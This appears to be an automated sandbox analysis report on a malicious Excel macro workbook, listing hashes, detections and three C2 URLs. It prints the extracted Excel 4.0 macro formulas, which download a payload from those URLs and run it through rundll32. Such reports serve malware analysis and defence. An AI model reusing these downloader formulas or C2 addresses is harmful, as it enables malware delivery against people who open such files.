Overview

overview

10

Static

static

10

?i=1lmlfsgug.xlsm

windows7_x64

10

?i=1lmlfsgug.xlsm

windows10-2004_x64

10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    ?i=1lmlfsgug

  • Size

    83KB

  • MD5

    7d3cda77a05f3883eedfacd2eabfdac9

  • SHA1

    05358e587fd9cc5e1ed4903f4fdca621eadde86c

  • SHA256

    79f3b373fa9006ca74b6f4bd4eb82a98eed7e7377038b7a4dd821a937d01f38e

  • SHA512

    b3a05537600370e7aa96bd29a10570fdadbfad2d178d6551bdc74d6164419757244134f41fe4b2ea78639fc40ea3b5018be403c9df52e71461d92bcf182a2149

  • SSDEEP

    1536:gPwms6sqxG/+CbEcWeu3XDXeoiHwt/uE1d7mT6SrPag3HtQVASgao8:7n6G/+CbE9H78wt2E1d7e6STa6S5x

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://unifiedpharma.com/wp-admin/ildi5K2aTIrdvEobQ/

https://kauffmancreates.com/images/G8050LVq/

https://sanagrafix.com/udll/fki4w1vFApT4Rwjp1R/
Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://unifiedpharma.com/wp-admin/ildi5K2aTIrdvEobQ/","..\adi.ocx",0,0) =IF('GTTTT'!G18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kauffmancreates.com/images/G8050LVq/","..\adi.ocx",0,0)) =IF('GTTTT'!G20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sanagrafix.com/udll/fki4w1vFApT4Rwjp1R/","..\adi.ocx",0,0)) =IF('GTTTT'!G22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\adi.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

    macroxlm

Files

  • ?i=1lmlfsgug
    .xlsm office2007